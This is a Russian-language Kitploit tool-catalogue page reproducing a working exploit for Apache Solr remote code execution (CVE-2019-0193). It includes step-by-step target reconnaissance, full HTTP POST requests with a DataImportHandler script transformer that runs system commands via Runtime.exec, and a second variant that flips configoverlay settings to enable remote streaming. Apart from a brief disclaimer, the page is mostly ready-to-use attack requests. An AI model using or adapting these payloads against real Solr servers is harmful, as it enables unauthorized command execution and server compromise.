Skip to content
KitploitKITPLOIT
ИнструментыЭксплойтыБлог
Log in
Отправить
ИнструментыЭксплойтыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
solr_exploit — Apache Solr Эксплойт для уязвимости удаленного выполнения кода (CVE-2019-0193) | Kitploit
Инструменты/GitHubGitHub/1135/solr_exploit
Анализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийКомандование и УправлениеИнструмент Удаленного Доступа
GitHub1135/solr_exploit

solr_exploit

Apache Solr Эксплойт для уязвимости удаленного выполнения кода (CVE-2019-0193)

Репозиторий
651476 лет назадПроверено Kitploit

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

Заявление

Предоставленные здесь методы обнаружения уязвимостей, файлы и т.д. предназначены исключительно для использования специалистами по безопасности при наличии законного разрешения с целью проверки безопасности авторизованных серверов. Специалисты по безопасности обязаны соблюдать законодательство и не проводить никаких проверок уязвимостей без получения разрешения.

Введение

Анализ уязвимости - Удаленное выполнение кода в Apache Solr (CVE-2019-0193) - Xianzhi Community

Теоретически можно использовать различные типы источников данных для создания эксплойта.

Exploit1 использует тип источника данных URLDataSource.

Exploit2 использует тип источника данных ContentStreamDataSource.

Обнаружение уязвимости - Exploit1

Exploit1 использует тип источника данных URLDataSource.

Преимущества: вывод результата, поддержка обнаружения на низких версиях Solr.

Недостатки: требуется исходящее сетевое соединение.

Шаг 1

Создайте источник данных типа URLDataSource (сервер Solr будет обращаться к этому источнику данных!). Можно использовать этот напрямую:

https://raw.githubusercontent.com/1135/solr_exploit/master/URLDataSource/demo.xml

Документ demo.xml — это источник данных типа URLDataSource, безвредный нормальный XML-документ.

В документе только один элемент item, чтобы команда выполнялась только один раз.

Также можно запустить собственный веб-сервер для размещения документа demo.xml командой live-server --port=5555, получить адрес http://127.0.0.1:5555/demo.xml.

Шаг 2

Получите названия всех ядер (core) в Solr:

http://{xx.com:80}/solr/admin/cores

HTTP-ответ в формате JSON будет содержать названия всех ядер (core).

"name":"xxxx"

Шаг 3

Проверьте, использует ли данное ядро модуль DataImportHandler.

Метод 1:

Перейдите по адресу:
http://{xx.com:80}/solr/{core_name}/admin/mbeans?cat=QUERY&wt=json

Если модуль DataImportHandler используется, ответ HTTP будет содержать:
org.apache.solr.handler.dataimport.DataImportHandler

В противном случае модуль DataImportHandler не используется (уязвимость не затрагивает).

Метод 2:

Перейдите по адресу:
http://{xx.com:80}/solr/#/{core_name}/dataimport

Если на сервере Solr не используется модуль dataimport-handler (уязвимость не затрагивает), в ответе HTTP будет сообщение:
sorry, no dataimport-handler defined!

В противном случае модуль DataImportHandler используется (уязвимость затрагивает).

Шаг 4: Отправка HTTP-запроса

Выполнение команды: в ответе HTTP будет выведен результат, поддерживается многострочный вывод (каждая строка завершается \n\r).

Примечание: необходимо заменить строку "tika" в URL запроса на название ядра.

POST /solr/tika/dataimport HTTP/1.1
Host: solr.com:8983
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:66.0) Gecko/20100101 Firefox/66.0
Accept: application/json, text/plain, */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: http://solr.com:8983/solr/
Content-type: application/x-www-form-urlencoded
X-Requested-With: XMLHttpRequest
Content-Length: 1231
Connection: close

command=full-import&verbose=false&clean=false&commit=false&debug=true&core=tika&name=dataimport&dataConfig=
<dataConfig>


  <dataSource type="URLDataSource"/>
  <script><![CDATA[

          function poc(row){

 var bufReader = new java.io.BufferedReader(new java.io.InputStreamReader(java.lang.Runtime.getRuntime().exec("ls").getInputStream()));

var result = [];

while(true) {
var oneline = bufReader.readLine();
result.push( oneline );
if(!oneline) break;
}

row.put("title",result.join("\n\r"));

return row;

}


  ]]></script>

        <document>
             <entity name="entity1"
                     url="https://raw.githubusercontent.com/1135/solr_exploit/master/URLDataSource/demo.xml"
                     processor="XPathEntityProcessor"
                     forEach="/RDF/item"
                     transformer="script:poc">
                        <field column="title" xpath="/RDF/item/title" />
             </entity>
        </document>
</dataConfig>

Обнаружение уязвимости - Exploit2

Exploit2 использует тип источника данных ContentStreamDataSource.

Преимущества: вывод результата, не требуется исходящее сетевое соединение.

Недостатки: не работает на низких версиях — изменение конфигурации в файле configoverlay.json через POST-запрос может завершиться неудачей.

Шаги 1-3

Шаг 1 опущен.

Шаги 2-3 такие же, как выше.

Шаг 4

Этот шаг предназначен для изменения конфигурации в файле configoverlay.json с целью включения соответствующих опций для удаленных потоков: .enableStreamBody, .enableRemoteStreaming.

Замените tika на название ядра.

POST /solr/tika/config HTTP/1.1
Host: 127.0.0.1
Accept: */*
Content-type:application/json
Content-Length: 159
Connection: close

{"set-property": {"requestDispatcher.requestParsers.enableRemoteStreaming": true}, "set-property": {"requestDispatcher.requestParsers.enableStreamBody": true}}

Ответ 200 — успех (протестировано на версии 8.1, работает).

Ответ 500 — неудача (протестировано на некоторых низких версиях, не работает).

Шаг 5

Отправьте запрос на выполнение системной команды ifconfig и получите вывод (полностью без внешних подключений, без исходящего трафика).

Скачать инструмент